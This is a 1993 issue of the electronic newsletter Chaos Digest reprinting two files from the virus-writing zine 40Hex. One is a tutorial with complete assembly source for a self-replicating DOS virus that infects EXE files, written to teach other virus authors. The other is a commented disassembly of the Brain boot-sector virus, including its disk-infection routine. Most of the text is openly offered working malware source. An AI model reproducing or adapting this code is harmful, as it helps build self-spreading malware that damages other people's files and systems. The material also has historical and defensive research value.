Chaos Digest              Samedi 3 Juillet 1993        Volume 1 : Numero 69
                             ISSN  1244-4901

       Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
       Archiviste: Yves-Marie Crabbe
       Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.69 (3 Juillet 1993)
File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
                linux-activists-request@niksula.hut.fi
with a mail header or first line containing the following informations:
                    X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

        * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
        * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
        * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
        * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
        * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
        * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
        * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
        * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
            the views of the moderators. Chaos Digest contributors
            assume all responsibility for ensuring that articles
            submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)


40Hex Number 8 Volume 2 Issue 4                                       File 007

                  _______________________________________
                  An Introduction to Nonoverwriting Virii
                          Part II: EXE Infectors
                               By Dark Angel
                  _______________________________________

     In the  last issue  of 40Hex,  I presented  theory and  code  for  the
nonoverwriting  COM   infector,  the   simplest  of  all  parasitic  virii.
Hopefully, having  learned COM  infections cold,  you are now ready for EXE
infections.  There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.

     EXE infections  are, in  some  respects,  simpler  than  COM  viruses.
However, to  understand the infection, you must understand the structure of
EXE files  (naturally).   EXE files  are structured into segments which are
loaded consecutively  atop one  another.  Thus, all an EXE infector must do
is create  its own  segment in  the EXE  file and  alter  the  entry  point
appropriately.   Therefore, EXE  infections do  not require  restoration of
bytes of  code, but  rather involve  the manipulation  of the  header which
appears in  the beginning every EXE file and the appending of viral code to
the infected file.  The format of the header follows:

 Offset Description
   00   ID word, either 'MZ' or 'ZM'
   02   Number of bytes in the last (512 byte) page in the image
   04   Total number of 512 byte pages in the file
   06   Number of entries in the segment table
   08   Size of the header in (16 byte) paragraphs
   0A   Minimum memory required in paragraphs
   0C   Maximum memory requested in paragraphs
   0E   Initial offset in paragraphs to stack segment from header
   10   Initial offset in bytes of stack pointer from stack segment
   12   Negative checksum (ignored)
   14   Initial offset in bytes of instruction pointer from code segment
   16   Initial offset in paragraphs of code segment from header
   18   Offset of relocation table from start of file
   1A   Overlay number (ignored)

The ID  word is  generally 'ZM'  (in the  Intel little-endian format).  Few
files start  with the  alternate form,  'MZ' (once  again in  Intel little-
endian format).   To  save space, a check for the alternate form of the EXE
ID in  the virus  may be omitted, although a few files may be corrupted due
to this omission.

The words  at offsets  2 and  4 are related.  The word at offset 4 contains
the filesize  in pages.   A  page is  a 512 byte chunk of memory, just as a
word is  a two  byte chunk of memory.  This number is rounded up, so a file
of length  514 bytes  would contain a 2 at offset 4 in the EXE header.  The
word at offset 2 is the image length modulo 512.  The image length does not
include the  header length.   This  is one of the bizarre quirks of the EXE
header.   Since the header length is usually a multiple of 512 anyway, this
quirk usually  does not  matter.  If the word at offset 2 is equal to four,
then it  is generally  ignored (heck,  it's never really used anyway) since
pre-1.10 versions  of the  Microsoft linker had a bug which caused the word
to always  be equal  to four.  If you are bold, the virus can set this word
to 4.   However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.

The minimum memory required by the program (offset A) can be ignored by the
virus, as  the maximum  memory is generally allocated to the program by the
operating system.   However,  once again,  ignoring this area of the header
MAY cause  an unsucessful  infection.   Simply adding  the  virus  size  in
paragraphs to this value can nullify the problem.

The words  representing the  initial stack segment and pointer are reversed
(not in  little-endian format).   In  other words,  an LES to this location
will yield  the stack  pointer in  ES and  the  stack  segment  in  another
register.   The initial  SS:SP is  calculated  with  the  base  address  of
0000:0000 being at the end of the header.

Similarly, the  initial CS:IP  (in little-endian format) is calculated with
the base  address of  0000:0000 at  the end of the header.  For example, if
the program  entry point  appears directly after the header, then the CS:IP
would be 0000:0000.  When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).

All the  relevant portions  of the  EXE header  have been covered.  So what
should be  done to  write a  nonoverwriting EXE infector?  First, the virus
must be appended to the end of the file.  Second, the initial CS:IP must be
saved and  subsequently changed  in the  header.   Third, the initial SS:SP
should also  be saved  and changed.   This  is to avoid any possible memory
conflicts from  the stack  overwriting viral  code.   Fourth, the file size
area of  the header should be modified to correctly reflect the new size of
the file.   Fifth,  any additional  safety modifications such as increasing
the minimum  memory allocation  should be made.  Last, the header should be
written to the infected file.

There are  several good areas for ID bytes in the EXE header.  The first is
in the stack pointer field.  Since it should be changed anyway, changing it
to a  predictable number  would add nothing to the code length.  Make sure,
however, to  make the stack pointer high enough to prevent code overwrites.
Another common  area for ID bytes is in the negative checksum field.  Since
it is  an unused  field, altering  it won't  affect the  execution  of  any
programs.

One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files.  Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be.  DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code).  It is important to restore DS and ES to their proper values before
returning control to the EXE.

----cut here---------------------------------------------------------------

.model tiny                             ;Handy TASM directive
.code                                   ;Virus code segment
          org 100h                      ;COM file starting IP
;Cheesy EXE infector
;Written by Dark Angel of PHALCON/SKISM
;For 40Hex Number 8 Volume 2 Issue 4
id = 'DA'                               ;ID word for EXE infections

startvirus:                             ;virus code starts here
          call next                     ;calculate delta offset
next:     pop  bp                       ;bp = IP next
          sub  bp,offset next           ;bp = delta offset

          push ds
          push es
          push cs                       ;DS = CS
          pop  ds
          push cs                       ;ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
          movsw

          mov  ah,1Ah                   ;Set new DTA
          lea  dx,[bp+newDTA]           ;new DTA @ DS:DX
          int  21h

          lea  dx,[bp+exe_mask]
          mov  ah,4eh                   ;find first file
          mov  cx,7                     ;any attribute
findfirstnext:
          int  21h                      ;DS:DX points to mask
          jc   done_infections          ;No mo files found

          mov  al,0h                    ;Open read only
          call open

          mov  ah,3fh                   ;Read file to buffer
          lea  dx,[bp+buffer]           ;@ DS:DX
          mov  cx,1Ah                   ;1Ah bytes
          int  21h

          mov  ah,3eh                   ;Close file
          int  21h

checkEXE: cmp  word ptr [bp+buffer+10h],id ;is it already infected?
          jnz  infect_exe
find_next:
          mov  ah,4fh                   ;find next file
          jmp  short findfirstnext
done_infections:
          mov  ah,1ah                   ;restore DTA to default
          mov  dx,80h                   ;DTA in PSP
          pop  es
          pop  ds                       ;DS->PSP
          int  21h
          mov  ax,es                    ;AX = PSP segment
          add  ax,10h                   ;Adjust for PSP
          add  word ptr cs:[si+jmpsave+2],ax
          add  ax,word ptr cs:[si+stacksave+2]
          cli                           ;Clear intrpts for stack manip.
          mov  sp,word ptr cs:[si+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ;jmp ssss:oooo
jmpsave             dd ?                ;Original CS:IP
stacksave           dd ?                ;Original SS:SP
jmpsave2            dd 0fff00000h       ;Needed for carrier file
stacksave2          dd ?

creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname           db '[DemoEXE] for 40Hex',0

infect_exe:
          les  ax, dword ptr [bp+buffer+14h] ;Save old entry point
          mov  word ptr [bp+jmpsave2], ax
          mov  word ptr [bp+jmpsave2+2], es

          les  ax, dword ptr [bp+buffer+0Eh] ;Save old stack
          mov  word ptr [bp+stacksave2], es
          mov  word ptr [bp+stacksave2+2], ax

          mov  ax, word ptr [bp+buffer + 8] ;Get header size
          mov  cl, 4                        ;convert to bytes
          shl  ax, cl
          xchg ax, bx

          les  ax, [bp+offset newDTA+26];Get file size
          mov  dx, es                   ;to DX:AX
          push ax
          push dx

          sub  ax, bx                   ;Subtract header size from
          sbb  dx, 0                    ;file size

          mov  cx, 10h                  ;Convert to segment:offset
          div  cx                       ;form

          mov  word ptr [bp+buffer+14h], dx ;New entry point
          mov  word ptr [bp+buffer+16h], ax

          mov  word ptr [bp+buffer+0Eh], ax ;and stack
          mov  word ptr [bp+buffer+10h], id

          pop  dx                       ;get file length
          pop  ax

          add  ax, heap-startvirus      ;add virus size
          adc  dx, 0

          mov  cl, 9                    ;2**9 = 512
          push ax
          shr  ax, cl
          ror  dx, cl
          stc
          adc  dx, ax                   ;filesize in pages
          pop  ax
          and  ah, 1                    ;mod 512

          mov  word ptr [bp+buffer+4], dx ;new file size
          mov  word ptr [bp+buffer+2], ax

          push cs                       ;restore ES
          pop  es

          mov  cx, 1ah
finishinfection:
          push cx                       ;Save # bytes to write
          xor  cx,cx                    ;Clear attributes
          call attributes               ;Set file attributes

          mov  al,2
          call open

          mov  ah,40h                   ;Write to file
          lea  dx,[bp+buffer]           ;Write from buffer
          pop  cx                       ;cx bytes
          int  21h

          mov  ax,4202h                 ;Move file pointer
          xor  cx,cx                    ;to end of file
          cwd                           ;xor dx,dx
          int  21h

          mov  ah,40h                   ;Concatenate virus
          lea  dx,[bp+startvirus]
          mov  cx,heap-startvirus       ;# bytes to write
          int  21h

          mov  ax,5701h                 ;Restore creation date/time
          mov  cx,word ptr [bp+newDTA+16h] ;time
          mov  dx,word ptr [bp+newDTA+18h] ;date
          int  21h

          mov  ah,3eh                   ;Close file
          int  21h

          mov ch,0
          mov cl,byte ptr [bp+newDTA+15h] ;Restore original
          call attributes                 ;attributes

mo_infections: jmp find_next

open:
          mov  ah,3dh
          lea  dx,[bp+newDTA+30]        ;filename in DTA
          int  21h
          xchg ax,bx
          ret

attributes:
          mov  ax,4301h                 ;Set attributes to cx
          lea  dx,[bp+newDTA+30]        ;filename in DTA
          int  21h
          ret

exe_mask            db '*.exe',0
heap:                                   ;Variables not in code
newDTA              db 42 dup (?)       ;Temporary DTA
buffer              db 1ah dup (?)      ;read buffer
endheap:                                ;End of virus

end       startvirus

----cut here---------------------------------------------------------------

This is a simple EXE infector.  It has limitations;for example, it does
not handle misnamed COM files.  This can be remedied by a simple check:

  cmp [bp+buffer],'ZM'
  jnz misnamed_COM
continueEXE:

Take special notice of the done_infections and infect_exe procedures.  They
handle all  the relevant portions of the EXE infection.  The restoration of
the EXE  file simply  consists of  resetting the stack and a far jmp to the
original entry point.

A final  note on  EXE infections: it is often helpful to "pad" EXE files to
the nearest  segment.  This accomplishes two things.  First, the initial IP
is  always  0,  a  fact  which  can  be  used  to  eliminate  delta  offset
calculations.   Code space  can be  saved by  replacing all  those annoying
relative memory  addressing statements  ([bp+offset blip])  statements with
their absolute  counterparts (blip).   Second, recalculation of header info
can be  handled in  paragraphs, simplifying  it tremendously.  The code for
this is left as an exercise for the reader.

This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to  write EXE  infectors).  Hopefully, this  text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors.   In the next issue of 40Hex,  I will present the theory
and code for the next step of file infector - the coveted SYS file.

+++++

40Hex Number 8 Volume 2 Issue 4                                       File 008

;This is the ashar variant of the classic Pakistani Brain virus. It is large
;by today's standards, although it was one of the first.  It is a floppy only
;boot sector infector.

brain           segment byte public
                assume  cs:brain, ds:brain
;Disassembly done by Dark Angel of PHALCON/SKISM
                org     0

                cli
                jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
                db      0, 0, 0, 0
                db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
                db      17h
                db     '& Amjads (pvt) Ltd   VIRUS_SHOE '
                db     ' RECORD   v9.0   Dedicated to th'
                db     'e dynamic memories of millions o'
                db     'f virus who are no longer with u'
                db     's today - Thanks GOODNESS!!     '
                db      '  BEWARE OF THE er..VIRUS  : \th'
                db     'is program is catching      prog'
                db     'ram follows after these messeges'
                db     '..... $'
                db     '#@%$'
                db     '@!! '
entervirus:
                mov     ax,cs
                mov     ds,ax                   ;ds = 0
                mov     ss,ax                   ;set stack to after
                mov     sp,0F000h               ;virus
                sti
                mov     al,ds:[7C00h+offset firsthead]
                mov     ds:[7C00h+offset curhead],al
                mov     cx,ds:[7C00h+offset firstsector]
                mov     ds:[7C00h+offset cursector],cx
                call    calcnext
                mov     cx,5                    ;read five sectors
                mov     bx,7C00h+200h           ;after end of virus

loadnext:
                call    readdisk
                call    calcnext
                add     bx,200h
                loop    loadnext

                mov     ax,word ptr ds:[413h]   ;Base memory size in Kb
                sub     ax,7                    ;- 7 Kb
                mov     word ptr ds:[413h],ax   ;Insert as new value
                mov     cl,6
                shl     ax,cl                   ;Convert to paragraphs
                mov     es,ax
                mov     si,7C00h                ;Copy from virus start
                mov     di,0                    ;to start of memory
                mov     cx,1004h                ;Copy 1004h bytes
                cld
                rep     movsb
                push     es
                mov     ax,200h
                push     ax
                retf                            ;return to old boot sector

readdisk:
                push     cx
                push     bx
                mov     cx,4                    ;Try 4 times

tryread:
                push     cx
                mov     dh,ds:[7C00h+offset curhead]
                mov     dl,0                    ;Read sector from default
                mov     cx,ds:[7C00h+offset cursector]
                mov     ax,201h                 ;Disk to memory at es:bx
                int     13h
                jnc     readOK
                mov     ah,0                    ;Reset disk
                int     13h                     ;(force read track 0)
                pop     cx
                loop    tryread

                int     18h                     ;ROM basic on failure
readOK:
                pop     cx
                pop     bx
                pop     cx
                retn

calcnext:
                mov     al,byte ptr ds:[7C00h+offset cursector]
                inc     al
                mov     byte ptr ds:[7C00h+offset cursector],al
                cmp     al,0Ah
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset cursector],1
                mov     al,ds:[7C00h+offset curhead]
                inc     al
                mov     ds:[7C00h+offset curhead],al
                cmp     al,2
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset curhead],0
                inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
                retn

;the following is a collection of garbage bytes
                db       00h, 00h, 00h, 00h, 32h,0E3h
                db       23h, 4Dh, 59h,0F4h,0A1h, 82h
                db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
                db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
;Second part of the virus begins here
                jmp     short entersecondpart
                db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ;keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
                mov     cs:readcounter,1Fh
                xor     ax,ax
                mov     ds,ax                   ;ds -> interrupt table
                mov     ax,ds:[13h*4]
                mov     ds:[6Dh*4],ax
                mov     ax,ds:[13h*4+2]
                mov     ds:[6Dh*4+2],ax
                mov     ax,offset int13         ;276h
                mov     ds:[13h*4],ax
                mov     ax,cs
                mov     ds:[13h*4+2],ax
                mov     cx,4                    ;4 tries
                xor     ax,ax
                mov     es,ax                   ;es -> interrupt table

tryreadbootsector:
                push     cx
                mov     dh,cs:firsthead
                mov     dl,0
                mov     cx,cs:firstsector
                mov     ax,201h                 ;read from default disk
                mov     bx,7C00h
                int     6Dh                     ;int 13h
                jnc     readbootOK
                mov     ah,0
                int     6Dh                     ;int 13h
                pop     cx
                loop    tryreadbootsector

                int     18h                     ;ROM basic on failure
readbootOK:                                     ;return control to
                                                ;original boot sector
;*              jmp     far ptr 0000:7C00h
                db     0EAh, 00h, 7Ch, 00h, 00h
                nop                             ;MASM NOP!!!
int13:
                sti
                cmp     ah,2                    ;if not read request,
                jne     doint13                 ;do not go further
                cmp     dl,2                    ;if after second floppy,
                ja      doint13                 ;do not go further
                cmp     ch,0                    ;if not reading boot sector,
                jne     regularread             ;go handle as usual
                cmp     dh,0                    ;if boot sector,
                je      readboot                ;do I<-/>/\|> stuff
regularread:
                dec     cs:readcounter          ;Infect after 4 reads
                jnz     doint13                 ;If counter still OK, don't
                                                ;do anything else
                jmp     short readboot          ;Otherwise, try to infect
doint13:
                jmp     exitint13h
readboot:
;FINISH THIS!
                mov     cs:int13flag,0          ;clear flag
                mov     cs:readcounter,4        ;reset counter
                push     ax
                push     bx
                push     cx
                push     dx
                mov     cs:curdrive,dl
                mov     cx,4

tryreadbootblock:
                push     cx
                mov     ah,0                    ;Reset disk
                int     6Dh
                jc      errorreadingbootblock   ;Try again
                mov     dh,0
                mov     cx,1
                mov     bx,offset readbuffer    ;buffer @ 6BEh
                push    es
                mov     ax,cs
                mov     es,ax
                mov     ax,201h
                int     6Dh                     ;Read boot sector
                pop     es
                jnc     continuestuff           ;continue if no error
errorreadingbootblock:
                pop     cx
                loop    tryreadbootblock

                jmp     short resetdisk         ;too many failures
                nop
continuestuff:
                pop     cx                      ;get system id in boot block
                mov     ax,word ptr cs:[offset readbuffer+4]
                cmp     ax,1234h                ;already infected?
                jne     dodisk                  ;if not, infect it
                mov     cs:int13flag,1          ;flag prev. infection
                jmp     short noreset
dodisk:
                push     ds
                push     es
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                push     si
                call    writevirus              ;infect the disk
                jc      failme                  ;exit on failure
                mov     cs:int13flag,2          ;flag success
                call    changeroot              ;manipulate volume
label
failme:
                pop     si
                pop     es
                pop     ds
                jnc     noreset                 ;don't reset on success
resetdisk:
                mov     ah,0                    ;reset disk
                int     6Dh                     ;int 13h
noreset:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                cmp     cx,1
                jne     exitint13h
                cmp     dh,0
                jne     exitint13h
                cmp     cs:int13flag,1          ;already infected?
                jne     wasntinfected           ;if wasn't, go elsewhere
                mov     cx,word ptr cs:[offset readbuffer+7]
                mov     dx,word ptr cs:[offset readbuffer+5]
                mov     dl,cs:curdrive          ;otherwise, read real
                jmp     short exitint13h        ;boot sector
wasntinfected:
                cmp     cs:int13flag,2          ;successful infection?
                jne     exitint13h              ;if not, just do call
                mov     cx,cs:firstsector
                mov     dh,cs:firsthead
exitint13h:
                int     6Dh                     ;int 13h
                retf    2
                db      15 dup (0)

------------------------------

End of Chaos Digest #1.69
************************************
